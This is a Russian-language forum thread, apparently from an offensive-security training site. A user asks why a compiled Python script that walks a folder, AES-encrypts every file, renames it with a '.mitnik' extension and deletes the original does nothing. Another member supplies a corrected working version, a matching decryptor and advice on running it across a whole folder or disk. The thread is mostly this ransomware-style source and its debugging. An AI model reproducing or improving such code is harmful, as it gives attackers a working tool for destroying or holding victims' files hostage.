• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Нужна помощь в анализе кода на Python

misterX

Grey Team
01.06.2022
280
11
BIT
377
Всем привет товарищи. Нужна ваша помощь в анализе кода на Python на ошибки. После написания данного кода
import osfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom Crypto.Random import get_random_bytesdef encrypt_file(file_path, key): cipher = AES.new(key, AES.MODE_ECB) with open(file_path, 'rb') as file: plaintext = file.read() ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) with open(file_path + '.mitnik', 'wb') as file: file.write(ciphertext) os.remove(file_path)folder_path = 'D:\\Primer'key_path = 'D:\\Keys\\key.txt'key = get_random_bytes(32)if not os.path.exists(key_path): os.makedirs(os.path.dirname(key_path)) with open(key_path, 'wb') as file: file.write(key)for root, dirs, files in os.walk(folder_path): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, key)print('Encryption completed!')
Скомпилировал при помощи команды
pyinstaller --onefile имя_файла.py
После запуска исполняемого файла для проверки открывается консольное окно на пару секунд, и сразу же закрывается. Проверяю - код ничего не выполнил. В чём может быть проблема?
 
Решение
Encrypt:
Python:
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes


def encrypt_file(file_path, key):
    cipher = AES.new(key, AES.MODE_ECB)
    with open(file_path, 'rb') as file:
        plaintext = file.read()
    ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
    with open(file_path + '.mitnik', 'wb') as file:
        file.write(ciphertext)
    os.remove(file_path)


folder_path = r'c:\Users\relic\Downloads\Primer'
key_path = r'c:\Users\relic\Downloads\key.txt'

if not os.path.exists(key_path):
    key = get_random_bytes(32)
    os.makedirs(os.path.dirname(key_path), exist_ok=True)
    with open(key_path, 'wb') as file:
        file.write(key)
else...

Exited3n

Red Team
10.05.2022
745
259
BIT
715
Всем привет товарищи. Нужна ваша помощь в анализе кода на Python на ошибки. После написания данного кода
import osfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom Crypto.Random import get_random_bytesdef encrypt_file(file_path, key): cipher = AES.new(key, AES.MODE_ECB) with open(file_path, 'rb') as file: plaintext = file.read() ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) with open(file_path + '.mitnik', 'wb') as file: file.write(ciphertext) os.remove(file_path)folder_path = 'D:\\Primer'key_path = 'D:\\Keys\\key.txt'key = get_random_bytes(32)if not os.path.exists(key_path): os.makedirs(os.path.dirname(key_path)) with open(key_path, 'wb') as file: file.write(key)for root, dirs, files in os.walk(folder_path): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, key)print('Encryption completed!')
Скомпилировал при помощи команды
pyinstaller --onefile имя_файла.py
После запуска исполняемого файла для проверки открывается консольное окно на пару секунд, и сразу же закрывается. Проверяю - код ничего не выполнил. В чём может быть проблема?
Нормально код скинь, тегом CODE
 

Exited3n

Red Team
10.05.2022
745
259
BIT
715
Encrypt:
Python:
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes


def encrypt_file(file_path, key):
    cipher = AES.new(key, AES.MODE_ECB)
    with open(file_path, 'rb') as file:
        plaintext = file.read()
    ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
    with open(file_path + '.mitnik', 'wb') as file:
        file.write(ciphertext)
    os.remove(file_path)


folder_path = r'c:\Users\relic\Downloads\Primer'
key_path = r'c:\Users\relic\Downloads\key.txt'

if not os.path.exists(key_path):
    key = get_random_bytes(32)
    os.makedirs(os.path.dirname(key_path), exist_ok=True)
    with open(key_path, 'wb') as file:
        file.write(key)
else:
    with open(key_path, 'rb') as file:
        key = file.read()

for root, dirs, files in os.walk(folder_path):
    for file in files:
        file_path = os.path.join(root, file)
        encrypt_file(file_path, key)
    print('Encryption completed!')

Decrypt:
Python:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


def decrypt_file(file_path, key):
    cipher = AES.new(key, AES.MODE_ECB)
    with open(file_path, 'rb') as file:
        ciphertext = file.read()
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
    with open(file_path[:-7], 'wb') as file:
        file.write(plaintext)

key_path = r'c:\Users\relic\Downloads\key.txt'
file_path = r'c:\Users\relic\Downloads\Primer\123.txt.mitnik'

with open(key_path, 'rb') as file:
    key = file.read()

decrypt_file(file_path, key)
 
Решение

misterX

Grey Team
01.06.2022
280
11
BIT
377
Код:
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

def encrypt_file(file_path, key):
    cipher = AES.new(key, AES.MODE_ECB)
    with open(file_path, 'rb') as file:
        plaintext = file.read()
        ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
    with open(file_path + '.mitnik', 'wb') as file:
        file.write(ciphertext)
    os.remove(file_path)

folder_path = 'D:\\Primer'
key_path = 'D:\\Keys\\key.txt'
key = get_random_bytes(32)

if not os.path.exists(key_path):
    os.makedirs(os.path.dirname(key_path))
    with open(key_path, 'wb') as file:
        file.write(key)

for root, dirs, files in os.walk(folder_path):
    for file in files:
        file_path = os.path.join(root, file)
        encrypt_file(file_path, key)

print('Encryption completed!')
 

Exited3n

Red Team
10.05.2022
745
259
BIT
715
Подскажи, здесь в коде указана расшифровка одного файла. А можно ли сделать расшифровку целой папки или диска например?
Конечно можно.

Вот этот кусок отвечает за массовость:
Python:
for root, dirs, files in os.walk(folder_path):
    for file in files:
        file_path = os.path.join(root, file)
        encrypt_file(file_path, key)
    print('Encryption completed!')

По аналогии поменять на функцию decrypt.
 

misterX

Grey Team
01.06.2022
280
11
BIT
377
Конечно можно.

Вот этот кусок отвечает за массовость:
Python:
for root, dirs, files in os.walk(folder_path):
    for file in files:
        file_path = os.path.join(root, file)
        encrypt_file(file_path, key)
    print('Encryption completed!')

По аналогии поменять на функцию decrypt.
Уже разобрался, но спасибо большое)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!